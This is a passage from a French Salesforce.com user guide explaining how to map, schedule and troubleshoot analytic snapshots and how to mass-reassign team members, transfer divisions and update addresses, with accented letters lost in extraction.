Conseils concernant le mappage de champs d'instantan analytique

Lors du mappage de champs d'instantan analytique, tenez compte de ce qui suit :

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 234

Vous devez mapper au moins un champ du rapport source vers un champ de l'objet cible, sans quoi les donnes ne seront
pas charges du rapport source vers l'objet cible lors de l'excution de l'instantan analytique.
Vous ne pouvez mapper que des champs avec des types de donnes compatibles. Par exemple, vous pouvez mapper un
champ de devise vers un champ numrique.
Une formule de rcapitulatif personnalis peut tre mappe uniquement si le niveau de regroupement de l'instantan
analytique et le niveau de regroupement de la formule de rcapitulatif personnalis correspondent.
Si vous slectionnez Ne charger aucun donne dans la colonne Champs du rapport de source, aucune donne ne se chargera
dans le champ correspondant dans la colonne Champs dans l'objet cible, lors de l'excution de l'instantan analytique. Pour
plus d'informations, reportez-vous Planification et excution d'un instantan analytique la page 235.
Le champ (Aucun champ avec un type de donnes compatible) s'affiche dans la colonne Champs du rapport
de source lorsqu'un champ de l'objet cible ne correspond pas au type de donnes d'un champ du rapport source.
Les champs de l'objet cible dterminent la capacit de mappage de champ. Par exemple, votre rapport source peut comprendre
dix champs, mais si votre objet cible ne comprend qu'un champ, vous ne pouvez mapper qu'un champ dans votre instantan
analytique.
Vous ne pouvez pas mapper de champs d'un rapport source vers les champs suivants dans l'objet cible : Cr par,
Dernire modification par, Date de cration, et Date de la dernire modification.
Lorsque vous mappez des champs du rapport source vers l'objet cible, certaines donnes peuvent perdre leur contexte
lorsqu'elles sont charges vers l'objet cible. Par exemple, si vous mappez un champ de date et d'heure du rapport source
vers un champ de texte sur l'objet cible, la date et l'heure sont charges vers l'objet cible sans le fuseau horaire.
Lors de l'excution d'un instantan analytique, si l'utilisateur actuel ne dispose pas de l'accs en lecture ou en criture un
champ mapp dans l'objet cible, ce champ est abandonn dans le mappage mais il n'entrane pas l'chec de l'excution. Si
un champ obligatoire dans l'objet cible n'est pas mapp, l'excution choue. Pour vous assurer que les champs sont toujours
mapps, dfinissez-les comme obligatoires ou dfinissez leur des valeurs par dfaut.
Pour mapper un champ dans le rapport source avec un champ de recherche dans l'objet cible, vous devez le mapper avec
l'ID de l'objet associ la recherche. Par exemple, pour mapper un champ de recherche d'opportunit, vous devez le mapper
avec l'ID d'opportunit. Pour obtenir l'ID d'opportunit dans le rapport source, vous devez peut tre utiliser un
type de rapport personnalis afin d'inclure l'ID et d'autres champs associs.

Voir aussi :
Qu'est-ce qu'un instantan analytique ?

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 235

Planification et excution d'un instantan analytique

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, enregistrer et planifier un instantan analytique :

Grer les instantans analytiques

Pour excuter un instantan analytique en tant qu'utilisateur Excution des rapports

actuel et ajouter les rsultats un objet personnalis,
AND
l'utilisateur actuel doit disposer des lments suivants :
Autorisation de cration sur l'objet cible

Aprs avoir cr un rapport source, un objet cible et des champs de l'objet cible, dfinissez votre instantan analytique, et
mappez ses champs comme expliqu dans Configuration d' instantans analytiques, vous pouvez planifier l'excution d'un
instantan analytique. Vous pouvez planifier l'excution quotidienne, hebdomadaire ou mensuelle d'un instantan analytique
de sorte que les donnes du rapport source sont charges dans l'objet cible quand vous en avez besoin. En outre, une fois
l'excution d'un instantan analytique termine, vous pouvez envoyer un e-mail de notification vous-mme et d'autres
utilisateurs, cet e-mail comprenant des dtails sur l'excution de l'instantan analytique, tels que la date et l'heure de l'excution
de l'instantan analytique, le succs de l'excution de l'instantan analytique, et le nombre d'enregistrements chargs dans
l'objet cible partir du rapport source. La notification comprend aussi un lien vers la page dtails de l'instantan analytique
dans Salesforce.com. Les utilisateurs disposant des autorisations adquates peuvent consulter la page dtails de l'instantan
analytique une fois connects.
Pour planifier l'excution d'un instantan analytique :
1.
2.
3.
4.

Cliquez sur Configuration Gestion des donnes Instantans analytiques.

Slectionnez le nom de l'instantan analytique dont vous souhaitez planifier l'excution
Cliquez sur Modifier dans la section Planifier uninstantan analytique.
Slectionnez un paramtre de notification pour envoyer un e-mail la fin de l'excution de l'instantan analytique :

Cliquez sur Moi pour envoyer un e-mail l'adresse e-mail spcifie dans votre enregistrement d'utilisateur Salesforce.com.
Cliquez sur Autres... pour envoyer l'e-mail des utilisateurs supplmentaires. Vous ne pouvez envoyer de notifications
d'instantan analytique qu' des adresses e-mail incluses dans les enregistrements utilisateurs Salesforce.com. En
outre,vous ne pouvez slectionner qu'Utilisateurs et Groupes publics dans la liste droulanteRecherche.

5. Planifier l'excution d'un instantan analytique :

Dans le champ Frquence, slectionnez la frquence laquelle l'instantan analytique s'excute. Si vous cliquez sur
les champs Tous les jours, Chaque semaine, ou Chaque mois, davantage d'options s'affichent pour vous
permettre d'affiner les critres de frquence.
Dans les champs Dmarrage et Fin, spcifiez les dates pendant lesquelles vous souhaitez que l'instantan analytique
soit excut.
Dans la liste droulante Heure de dmarrage dsire, cliquez sur le lien Rechercher les options disponibles...
pour choisir une heure de dmarrage souhaite pour l'excution de l'instantan analytique.

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 236

Votre heure de dmarrage favorite peut ne pas tre disponible si d'autres utilisateurs l'ont dj slectionne pour excuter
un instantan analytique ou si votre entreprise a atteint sa limite d'instantans analytiques. Pour plus d'informations,
reportez-vous ditions Salesforce.com et limitations la page 932.
6. Ensuite, cliquez sur Enregistrer pour planifier l'excution de l'instantan analytique.
Lorsque l'instantan analytique s'excute, il ajoute de nouveaux enregistrements l'objet cible.
Vous pouvez aussi, une fois planifie l'excution d'un instantan analytique, procder aux actions suivantes aprs avoir cliqu
sur Modifier dans la section Planifier un instantan analytique de la page dtails d'un instantan analytique :

Cliquez sur Modifier pour mettre jour la notification et la frquence de l'instantan analytique.
Cliquez sur Supprimer pour supprimer dfinitivement la planification existante de l'excution de l'instantan analytique.

Conseils concernant la planification de l'excution d'un instantan analytique

Lors de la planification de l'excution d'un instantan analytique, tenez compte de ce qui suit :

Le nombre d'instantans analytiques dont vous pouvez planifier l'excution est dtermin par votre version. Pour plus
d'informations, reportez-vous ditions Salesforce.com et limitations la page 932
Les instantans analytiques sont actualiss dans le fuseau horaire de l'utilisateur qui planifie l'excution. Par exemple, si le
champ Fuseau horaire de votre enregistrement utilisateur est paramtr sur Pacific Standard Time (heure du Pacifique)
et que vous planifiiez une excution d'instantan analytique chaque jour 14h00, l'instantan analytique sera excut chaque
jour 14h00 (heure du Pacifique).
Si vous affichez et enregistrez une planification dans un fuseau horaire diffrent de celui dans lequel elle a t planifie, la
plage horaire peut changer. Par exemple, si un utilisateur planifie un rapport dans un fuseau horaire dont le dcalage ne
correspond pas une heure complte, puis un deuxime utilisateur affiche et enregistre la planification dans un fuseau
horaire dont le dcalage correspond une heure complte, la plage horaire peut tre arrondie l'heure la plus proche.
Si vous planifiez une excution d'instantan analytique un jour spcifique de chaque mois, l'instantan analytique ne sera
actualis que les mois comprenant ce jour. Si vous planifiez une excution d'instantan analytique le 31e jour de chaque
mois, l'instantan analytique ne sera excut que les mois comprenant 31 jours. Si vous souhaitez qu'un instantan analytique
soit excut le dernier jour de chaque mois, choisissez dernier dans la liste droulante Jour de chaque mois.
L'excution d'instantan analytique s'effectue dans l'heure que vous avez slectionne dans la liste droulante Heure de
dmarrage dsire. Par exemple, si vous slectionnez 14h00 comme heure de dmarrage dsire, l'instantan analytique
peut tre actualis n'importe quel moment entre 14h00 et 14h59, en fonction de la quantit d'autres instantans analytiques
dont l'actualisation est planifie cette heure-l.
Les instantans analytiques ne sont pas actualiss comme prvu si l'utilisateur dans le champ Utilisateur actuel n'a
pas accs au dossier dans lequel le rapport source est stock. Pour plus d'informations, reportez-vous Dfinition d'un
instantan analytique la page 232 et Gestion des dossiers la page 573.
Remarque: Si l'utilisateur actuel spcifi est actif, un e-mail de notification est envoy tous les utilisateurs ayant
le profil Administrateur systme, ainsi qu' tous les utilisateurs disposant des trois autorisations suivantes : Grer
les utilisateur, Grer la facturation et Modifier toutes les donnes.

Lors de l'excution d'un instantan analytique, 2 000 nouveaux enregistrements peuvent tre ajouts l'objet cible. Si le
rapport source gnre plus de 2 000 enregistrements, un message d'erreur s'affiche pour les enregistrements supplmentaires
dans la liste associe Echecs de lignes. Vous pouvez accder la liste checs de lignes associe via la section Historique
d'excution de la page dtails d'un instantan analytique. Pour plus d'informations, reportez-vous Dpannage d'instantans
analytiques la page 237

Voir aussi :
Configuration d'instantans analytiques

Gestion des donnes

Guide de l'utilisateur | Dpannage des Instantans analytiques | 237

Dpannage des Instantans analytiques

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, enregistrer et planifier un instantan analytique :

Grer les instantans analytiques

Pour excuter un instantan analytique en tant qu'utilisateur Excuter les rapports

actuel et ajouter les rsultats un objet personnalis,
AND
l'utilisateur actuel doit disposer des lments suivants :
Crer dans l'objet cible

La rubrique Historique d'excution d'une page de dtails d'un instantan analytique indique si l'excution de l'instantan
analytique a russi ou chou. Lorsqu'un instantan analytique choue en cours d'une excution planifie, l'chec est rapport
dans la colonne Rsultat. Pour afficher les dtails d'une excution, cliquez sur la date et l'heure de l'excution dans la colonne
Heure de dbut de l'excution.
Conseil:

Si le champ Nombre total de lignes est vide, l'excution choue avant la fin du rapport (par exemple, le
rapport n'est pas valide ou l'utilisateur actuel est inactif ).
Lorsque vous excutez un instantan analytique, ce dernier peut ajouter jusqu' 2 000 nouveaux enregistrements
l'objet cible. Tous les enregistrements au-del de 2 000 sont enregistrs dans la liste associe Echecs de lignes. Si
le champ Nombre total de lignes est vide et que l'historique d'excution indique Certaines lignes ont
chou, le rapport contient probablement plus de 2 000 rcapitulatifs.
Les dtails de l'chec d'une excution sont prsents dans la liste associe Echecs de lignes pendant 14 jours. Au-del
de ce dlai, ils sont automatiquement supprims. Vous ne pouvez pas restaurer les dtails relatifs aux checs de
ligne partir de la Corbeille.
Si l'objet cible contient un champ unique et que les enregistrements d'un rapport contiennent plusieurs valeurs
identiques dans la colonne mappe avec ce champ unique, les enregistrements dupliqus ne sont pas ajouts.
L'historique d'excution signale lorsque les enregistrements ne sont pas ajouts l'instantan analytique.
Si les mappages de champ chouent, l'instantan continue de s'excuter, mais l'historique des excutions indique
qu'une erreur partielle s'est produite.

Il est possible qu'un instantan analytique choue en cours d'excution programme, et ce pour un certain nombre de raisons.
Le tableau ci-dessous tablit la liste des erreurs potentielles l'origine de l'chec d'une excution ainsi que la manire dont ces
erreurs peuvent vous aider dpanner l'instantan analytique de sorte ce qu'il s'excute correctement dsormais.
Erreur

Description

L'utilisateur actuel nest pas autoris

excuter des rapports.

L'utilisateur dans le champ Utilisateur actuel ne dispose

pas de l'autorisation Excuter des rapports ou Crer et
personnaliser des rapports. Choisissez un utilisateur disposant
des autorisations adquates ou ajoutez ces dernires au profil
actuel de l'utilisateur actuel. Pour plus d'informations,
reportez-vous Gestion des profils la page 108.

Gestion des donnes

Guide de l'utilisateur | Dpannage des Instantans analytiques | 238

Erreur

Description

Impossible d'excuter un instantan

analytique car le rapport source a t
supprim.

Le rapport situ dans le champ Rapport source a t

supprim et ne peut plus tre excut. Choisissez un autre
rapport source pour votre instantan analytique ou restaurez
le rapport supprim depuis la Corbeille. Pour plus
d'informations, reportez-vous la Corbeille la page 1456.

L'utilisateur actuel n'est pas autoris

accder au rapport source.

L'utilisateur indiqu dans le champ Utilisateur actuel

n'a pas accs au dossier dans lequel est conserv le rapport
source. Choisissez un utilisateur autoris accder au rapport
source ou bien autorisez l'utilisateur actuel accder au dossier
dans lequel est conserv le rapport source. Pour plus
d'informations, reportez-vous Gestion des dossiers la page
573.

La dfinition du rapport source est

obsolte.

Le rapport indiqu dans le champ Rapport source fait

rfrence un objet personnalis qui n'est plus accessible aux
rapports ou indique que les relations entre les objets ont
chang. Pour plus d'informations, reportez-vous Gestion
des objets personnaliss la page 696 et Prsentation des
relations la page 697.

La dfinition du rapport source n'est pas Le rapport indiqu dans le champ Rapport source ne peut
tre excut car il contient des formules ou des critres de filtre
valide.
non valides. Mettez le rapport jour de sorte qu'il puisse tre
excut sans erreur. Pour plus d'informations, reportez-vous
Personnalisation des rapports la page 1716.
L'utilisateur actuel n'est pas autoris
accder au type de rapport.

L'utilisateur indiqu dans le champ Utilisateur actuel

n'est pas autoris accder au type de rapport associ au
rapport indiqu dans le champ Rapport source. Choisissez
un utilisateur actuel qui dispose des autorisations adquates
ou bien fournissez les autorisations adquates l'utilisateur
actuel.

Le rapport source doit tre prsent sous Le rapport indiqu dans le champ Rapport source n'est
plus prsent sous forme de tableau. Choisissez un nouveau
forme de tableau.
rapport source ou bien mettez jour le format du rapport
actuel afin qu'il se prsente sous forme de tableau. Pour plus
d'informations, reportez-vous Personnalisation des rapports
la page 1716.
Le dernier enregistrement du rapport
source contient des donnes caches
relatives aux rsultats du rapport.

Le rapport indiqu dans le champ Rapport source a t

enregistr avec ses donnes caches. Pour afficher les dtails
du rapport source, affichez le rapport, cliquez sur Afficher les
dtails, puis enregistrez le rapport.

L'objet cible a t supprim ou n'est pas L'objet personnalis indiqu dans le champ Objet cible a
t supprim ou l'utilisateur indiqu dans le champ
accessible par l'utilisateur actuel.
Utilisateur actuel n'est pas autoris accder l'objet
cible. Restaurez l'objet personnalis supprim, choisissez un

Gestion des donnes

Erreur

Guide de l'utilisateur | Dpannage des Instantans analytiques | 239

Description
nouvel objet cible ou bien fournissez l'utilisateur actuel
l'autorisation Crer pour l'objet personnalis dans le champ
Objet cible. Notez que si le statut de l'objet personnalis
est En dveloppement, l'utilisateur actif doit disposer de
l'autorisation Personnaliser l'application pour accder l'objet
cible. Pour plus d'informations, reportez-vous Gestion des
objets personnaliss supprims la page 712 et Gestion des
profils la page 108.

L'utilisateur actuel n'est pas autoris

modifier des objets cibles.

L'utilisateur indiqu dans le champ Utilisateur actuel

ne dispose pas des autorisations Crer pour l'objet
personnalis indiqu dans le champ Objet cible. Choisissez
un utilisateur actuel qui dispose de ces autorisations ou bien
fournissez l'utilisateur actuel les autorisations Crer pour
l'objet personnalis indiqu dans le champ Objet cible.
Pour plus d'informations, reportez-vous Gestion des profils
la page 108.

L'objet cible ne doit pas tre un objet

dtail dans une relation
principal-dtails.

L'objet personnalis indiqu dans le champ Objet cible

est un objet dtail dans une relation principal-dtails, ce qui
signifie que l'objet principal contrle certains comportements
dans les enregistrements relatifs l'objet cible. Choisissez un
objet cible qui ne fait pas partie d'une relation principal-dtails.
Pour plus d'informations, reportez-vous Prsentation des
relations la page 697.

L'objet cible ne doit pas tre inclus dans L'objet personnalis indiqu dans le champ Objet cible
fait partie d'un workflow. Choisissez un objet cible qui ne fait
un workflow.
pas partie d'un workflow. Pour plus d'informations,
reportez-vous Gestion du workflow et des approbations la
page 723.
L'objet cible ne doit pas contenir de
dclencheur d'insertion.

Lorsque de nouveaux enregistrements sont crs pour l'objet

personnalis indiqu dans le champ Objet cible, un
dclencheur Apex est excut. Supprimez le dclencheur Apex
ou choisissez un objet cible pour lequel aucun dclencheur
Apex n'est excut lorsque de nouveaux enregistrements sont
crs. Pour plus d'informations, consultez la rubrique Gestion
des dclencheurs Apex la page 899.

L'objet cible ne doit pas contenir de

rgles de validation.

L'objet personnalis indiqu dans le champ Objet cible

contient des rgles de validation. Choisissez un objet cible qui
ne contient pas de rgle de validation ou bien supprimez les
rgles de validation pour cet objet cible. Pour plus
d'informations, reportez-vous Gestion des rgles de
validation la page 436.

L'utilisateur actuel est inactif.

L'utilisateur indiqu dans le champ Utilisateur actuel

n'est plus actif. Choisissez un utilisateur actuel.

Gestion des donnes

Guide de l'utilisateur | Dpannage des Instantans analytiques | 240

Erreur

Description

Un ou plusieurs champs obligatoires de

l'objet cible ne sont pas mapps.

Un ou plusieurs champs obligatoires de l'objet cible ne sont

pas mapps. Mappez tous les champs obligatoires de l'objet
cible aux champs dans le rapport source. Pour plus
d'informations, reportez-vous Mappage des champs
d'instantan analytique la page 233.

Le rapport source contient trop de champs, Le rapport indiqu dans le champ Rapport source
possde un champ de formule avec trop de comprend trop de champs, critres ou fonctions dans un champ
fonctions ou contient trop de critres. de formule. Supprimez tous les champs, critres et fonctions
inutiles dans les champs de formule du rapport source. Pour
plus d'informations, reportez-vous Personnalisation des
rapports la page 1716.
Le rapport source ne peut pas avoir plus Le rapport indiqu dans le champ Rapport source contient
plus de 100 champs. Supprimez tous les champs inutiles du
de 100 colonnes slectionnes.
rapport source. Pour plus d'informations, reportez-vous
Personnalisation des rapports la page 1716.
L'objet cible ne peut pas avoir plus de
100 champs personnaliss.

L'objet personnalis indiqu dans le champ Objet cible

contient plus de 100 champs personnaliss. Supprimez tous
les champs inutiles de l'objet cible. Pour plus d'informations,
reportez-vous Suppression de champs la page 414.

Votre rapport a dpass le dlai de

traitement.

Il est possible que le rapport indiqu dans le champ Rapport

source contienne trop de donnes traiter. Rduisez le
volume de donnes traiter pour ce rapport en limitant la
priode du rapport et en supprimant tous les champs inutiles
du rapport source. Pour plus d'informations, reportez-vous
Personnalisation des rapports la page 1716.

Ce nom unique d'instantan analytique

existe dj. Choisissez un nom unique.

Le nom unique de l'instantan analytique que vous essayez de

crer est identique celui d'un instantan existant.

Un champ rcapitulatif n'a pas renvoy de Un champ rcapitulatif des rsultats n'a pas renvoy de chiffre
valide. Par exemple, le champ peut avoir tent une division
chiffre valide.
par 0. Vrifiez vos formules, puis testez les valeurs 0 et null
dans les calculs, s'ils figurent dans vos donnes.
Cet instantan analytique a gnr un
problme. Le format du rapport source est
pass de tabulaire rcapitulatif. Les
mappages de champs de l'instantan
analytique ne sont plus corrects. Vous
pouvez restaurer le format tabulaire du
rapport ou mettre jour les mappages de
champs dans la dfinition de l'instantan.

Le format du rapport source est pass de tabulaire

rcapitulatif, rendant ainsi les mappages de champs de
l'instantan analytique incorrects. Pour corriger cette erreur,
restaurez le format tabulaire du rapport ou mettez jour les
mappages de champs dans la dfinition de l'instantan. Cette
erreur s'applique uniquement aux instantans analytiques qui
contiennent des rapports rcapitulatifs.

Cet instantan analytique a gnr un

Le format du rapport source doit tre tabulaire ou rcapitulatif.
problme. Le format du rapport source doit Les rapports matriciels ne peuvent pas tre utiliss avec des
instantans analytiques.
tre tabulaire ou rcapitulatif.

Gestion des donnes

Guide de l'utilisateur | Nouvelle attribution de plusieurs membres d'quipe | 241

Erreur

Description

Le niveau de regroupement que vous avez

spcifi dans l'instantan analytique
n'est plus valide. Il est possible que
l'utilisateur actuel n'ait plus accs
ce champ, que le niveau de regroupement
ait t retir du rapport source ou qu'il
n'ait jamais t dfini.

Cette erreur peut se produire lorsque l'utilisateur actuel n'a

plus accs au champ spcifi dans le niveau de regroupement,
ou bien ce dernier a t supprim du rapport source ou n'a
jamais t dfini. Cette erreur s'applique uniquement aux
instantans analytiques qui contiennent des rapports
rcapitulatifs. Assurez-vous que l'utilisateur actuel a accs
tous les champs requis.

Voir aussi :
Gestion des Instantans analytiques

Nouvelle attribution de plusieurs membres d'quipe

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour transfrer les membres d'une quipe en masse :

Utiliser les assistants de rattribution de l'quipe

Si votre organisation utilise des quipes de comptes ou de vente, vous pouvez apporter des modifications l'un de ses membres
sur plusieurs enregistrements simultanment. l'aide de Salesforce.com, vous pouvez ajouter, supprimer ou remplacer un
membre d'quipe dans n'importe quel enregistrement qui le contient dj.
Pour plus d'informations, reportez-vous aux rubriques ci-dessous :

Ajout d'un membre d'quipe plusieurs enregistrements la page 241

Suppression d'un membre d'quipe de plusieurs enregistrements la page 242
Remplacement d'un membre d'quipe dans plusieurs enregistrements la page 243

Ajout d'un membre d'quipe plusieurs enregistrements

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour transfrer les membres d'une quipe en masse :

Utiliser les assistants de rattribution de l'quipe

Pour ajouter un membre d'quipe de comptes ou de vente plusieurs enregistrements simultans :

Gestion des donnes

Guide de l'utilisateur | Nouvelle attribution de plusieurs membres d'quipe | 242

1. Choisissez Configuration Gestion des donnes quipes de comptes de rattribution en masse ou Configuration
Gestion des donnes quipes d'opportunit de rattribution en masse.
En fonction de votre profil, vous risquez de ne pas voir apparatre le lien Gestion des donnes sur la page de configuration.
Dans ce cas, dans la section Outils, cliquez sur quipes de comptes de rattribution en masse au bas de l'onglet Comptes
ou sur quipes d'opportunit de rattribution en masse au bas de l'onglet Opportunits.
2. Choisissez l'option d'ajout et cliquez sur Suivant.
3. Saisissez vos critres pour rechercher les enregistrements modifier et cliquez sur Suivant.
4. Cochez les cases situes en regard des enregistrements modifier. Vous pouvez galement cocher la case situe en regard
de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.
5. Cliquez sur Suivant.
6. Choisissez le membre d'quipe ajouter aux enregistrements slectionns.
7. Slectionnez le rle du nouveau membre d'quipe.
8. En ce qui concerne les quipes de comptes, slectionnez le compte, le contact, la requte et l'accs l'opportunit appropris.
En ce qui concerne les quipes de vente, slectionnez l'accs l'opportunit appropri.
9. Cliquez sur Ajouter.
10. Cliquez sur Termin aprs avoir pass en revue le nombre d'enregistrements modifis.

Voir aussi :
Suppression d'un membre d'quipe de plusieurs enregistrements
Remplacement d'un membre d'quipe dans plusieurs enregistrements

Suppression d'un membre d'quipe de plusieurs enregistrements

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour transfrer les membres d'une quipe en masse :

Utiliser les assistants de rattribution de l'quipe

Pour supprimer un membre de l'quipe de comptes ou de vente de plusieurs enregistrements simultans :

1. Choisissez Configuration Gestion des donnes quipes de comptes de rattribution en masse ou Configuration
Gestion des donnes quipes d'opportunit de rattribution en masse.
En fonction de votre profil, vous risquez de ne pas voir apparatre le lien Gestion des donnes sur la page de configuration.
Dans ce cas, dans la section Outils, cliquez sur quipes de comptes de rattribution en masse au bas de l'onglet Comptes
ou sur quipes d'opportunit de rattribution en masse au bas de l'onglet Opportunits.
2. Choisissez l'option de suppression et cliquez sur Suivant.
3. Entrez vos critres pour rechercher les enregistrements modifier et cliquez sur Suivant.
4. Cochez les cases situes en regard des enregistrements supprimer. Vous pouvez galement cocher la case situe en regard
de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.
5. Cliquez sur Suivant.
6. Choisissez le membre d'quipe existant supprimer des enregistrements slectionns.

Gestion des donnes

Guide de l'utilisateur | Nouvelle attribution de plusieurs membres d'quipe | 243

7. Slectionnez un rle. Le membre d'quipe est supprim uniquement s'il joue ce rle. Vous pouvez galement slectionner
Tout rle pour supprimer le membre d'quipe quel que soit son rle.
8. Le cas chant, cochez les options suivantes :

Rattribuer toutes les activits en cours - Permet d'attribuer au responsable du compte les activits

en cours du membre d'quipe supprim.

Rattribuer toutes les opportunits ouvertes - Permet d'attribuer au responsable du compte les

opportunits en cours du membre d'quipe supprim.

Rattribuer toutes les requtes ouvertes - Permet d'attribuer au responsable du compte les requtes en

cours du membre d'quipe supprim.

Rattribuer tous les contacts - Permet d'attribuer au responsable du compte tous les enregistrements de

contact dont est responsable le membre d'quipe supprim.

9. Cliquez sur Supprimer.
10. Cliquez sur Termin aprs avoir pass en revue le nombre d'enregistrements modifis.

Voir aussi :
Ajout d'un membre d'quipe plusieurs enregistrements
Remplacement d'un membre d'quipe dans plusieurs enregistrements

Remplacement d'un membre d'quipe dans plusieurs enregistrements

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour transfrer les membres d'une quipe en masse :

Utiliser les assistants de rattribution de l'quipe

Pour remplacer un membre d'quipe de comptes ou de vente dans plusieurs enregistrements simultans ou pour changer le
rle d'un membre d'quipe :
1. Choisissez Configuration Gestion des donnes quipes de comptes de rattribution en masse ou Configuration
Gestion des donnes quipes d'opportunit de rattribution en masse.
En fonction de votre profil, vous risquez de ne pas voir apparatre le lien Gestion des donnes sur la page de configuration.
Dans ce cas, dans la section Outils, cliquez sur quipes de comptes de rattribution en masse au bas de l'onglet Comptes
ou sur quipes d'opportunit de rattribution en masse au bas de l'onglet Opportunits.
2. Choisissez l'option de remplacement et cliquez sur Suivant.
3. Saisissez vos critres pour rechercher les enregistrements modifier et cliquez sur Suivant.
4. Cochez les cases situes en regard des enregistrements slectionner. Vous pouvez galement cocher la case situe en regard
de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.
5. Cliquez sur Suivant.
6. Slectionnez le membre d'quipe qui se trouve actuellement dans les enregistrements modifier.

Gestion des donnes

Guide de l'utilisateur | Transfert de services | 244

7. Slectionnez le nouveau membre d'quipe qui doit remplacer le membre actuel. Pour changer simplement le rle d'un
membre d'quipe, slectionnez galement le membre d'quipe concern.
8. Choisissez le rle du membre d'quipe. Choisissez Utiliser le rle du membre d'quipe remplac pour conserver le rle
actuel.
9. En ce qui concerne les quipes de comptes, slectionnez le compte, le contact, la requte et l'accs l'opportunit appropris.
En ce qui concerne les quipes de vente, slectionnez l'accs l'opportunit appropri.
10. Le cas chant, cochez les options suivantes :

Rattribuer toutes les activits en cours - Permet d'attribuer au membre d'quipe de remplacement

tous les enregistrements d'activit en cours.

Rattribuer toutes les opportunits ouvertes - Permet d'attribuer au membre d'quipe de remplacement

tous les enregistrements d'opportunit en cours.

Rattribuer toutes les requtes ouvertes - Permet d'attribuer au membre d'quipe de remplacement

tous les enregistrements de requte en cours.

Rattribuer tous les contacts - Permet d'attribuer au membre d'quipe de remplacement les contacts associs
aux enregistrements mis jour.

11. Cliquez sur Remplacer.

12. Cliquez sur Termin aprs avoir pass en revue le nombre d'enregistrements modifis.

Voir aussi :
Ajout d'un membre d'quipe plusieurs enregistrements
Suppression d'un membre d'quipe de plusieurs enregistrements

Transfert de services
Disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour transfrer des services en masse :

Modifier toutes les donnes

Pour changer le service de plusieurs enregistrements simultanment :

1.
2.
3.
4.
5.

Cliquez sur Configuration Gestion des donnes Transfert en masse de service.

Slectionnez le type d'enregistrement pour lequel vous souhaitez raffecter les services et cliquez sur Suivant.
Dfinissez les conditions de recherche que les enregistrements doivent remplir, puis cliquez sur Suivant.
Slectionnez le nouveau service des enregistrements correspondants.
Lorsque vous transfrez des utilisateurs, cochez la case Modifier un service pour changer galement le service des
enregistrements dont la responsabilit incombe aux utilisateurs.

Gestion des donnes

Guide de l'utilisateur | Mise jour en masse d'adresses | 245

6. Cliquez sur Transfrer.

Voir aussi :
Prsentation des services
Modification de votre service
Modification du service par dfaut

Mise jour en masse d'adresses

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour mettre jour les adresses en masse :
Pour mettre jour en masse les adresses des contrats :

Modifier toutes les donnes

Modifier toutes les donnes
AND
Activation des contrats

Le processus de mise jour en masse des adresses permet de normaliser les noms pour un pays et dpartement/rgion dans les
champs d'adresse des comptes, contacts, contrats et pistes de votre entreprise. Par exemple, au lieu d'avoir plusieurs
enregistrements avec US, USA ou tats-Unis dans les champs d'adresse, utilisez la mise jour en masse des adresses pour
saisir un nom unique, comme US, pour tous les enregistrements.
1. Cliquez sur Configuration Gestion des donnes Adresses de mise jour en masse.
2. Slectionnez le type de donnes mettre jour (Pays ou Dpartement/Rgion). Si vous choisissez
Dpartement/Rgion, saisissez le pays dans lequel la rgion ou le dpartement doit tre mis jour. Cliquez sur Suivant
pour continuer.
3. Slectionnez les valeurs mettre jour et cliquez sur Ajouter. Les valeurs mettre jour sont affiches dans la liste Valeurs
slectionnes. Pour supprimer des valeurs, cliquez sur Supprimer.
Les adresses des enregistrements existants apparaissent dans la liste Valeurs disponibles. Pour trouver d'autres adresses
mettre jour en tant que groupe, entrez tout ou partie de cette valeur et cliquez sur Rechercher.
Si l'organisation possde de grandes quantits de donnes, entrez les valeurs existantes mettre jour dans la zone de texte
la place de la zone Valeurs disponibles. Chaque valeur doit faire l'objet d'une nouvelle ligne.
4. Dans le champ Remplacer les valeurs slectionnes par, entrez la valeur de remplacement des donnes de
l'adresse spcifie, puis cliquez sur Suivant. Si l'organisation possde de grandes quantits de donnes, le champ s'intitule
Remplacer les valeurs saisies par.
Le nombre et le type d'enregistrements d'adresse qui vont tre mis jour dans votre organisation apparaissent. Si l'organisation
possde de grandes quantits de donnes, seules apparaissent les valeurs mettre jour.
5. Cliquez sur Remplacer pour mettre jour les valeurs.

Gestion des donnes

Guide de l'utilisateur | Force.com Sandbox | 246

Conseils pour la mise jour en masse des adresses

Commencez par mettre jour le nom des pays, puis mettez jour le nom des dpartements ou rgions partir de la nouvelle
norme du pays.
Utilisez l'outil de mise jour en masse des adresses pour convertir les formats d'adresse incohrents en norme internationale,
comme les codes ISO. Pour consulter la liste des codes ISO, reportez-vous au site Web de l'Organisation internationale
de normalisation.
Utilisez rgulirement l'outil de mise jour en masse afin de supprimer de vos donnes d'adresse les valeurs incohrentes
cres par les utilisateurs ou via l'importation, la synchronisation ou l'API Force.com.
La valeur pour chaque pays ou dpartement/rgion peut tre cre manuellement ou via l'importation, la synchronisation
ou l'API Force.com. Les valeurs des adresses ne sont pas valides lors de leur cration.
Pour que la mise jour des adresses prenne effet, n'oubliez pas de modifier les conditions de filtrage. Par exemple, si vous
remplacez France par FR , les rgles d'attribution, les fonctions Web vers piste, Web vers requte et E-mail vers
requte et E-mail vers requte la demande continuent d'utiliser France jusqu' ce que vous les mettiez jour avec
FR .

Force.com Sandbox
Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher une version test Sandbox :

Afficher la configuration

Pour crer, actualiser, activer et supprimer des versions test

Sandbox :

Modifier toutes les donnes

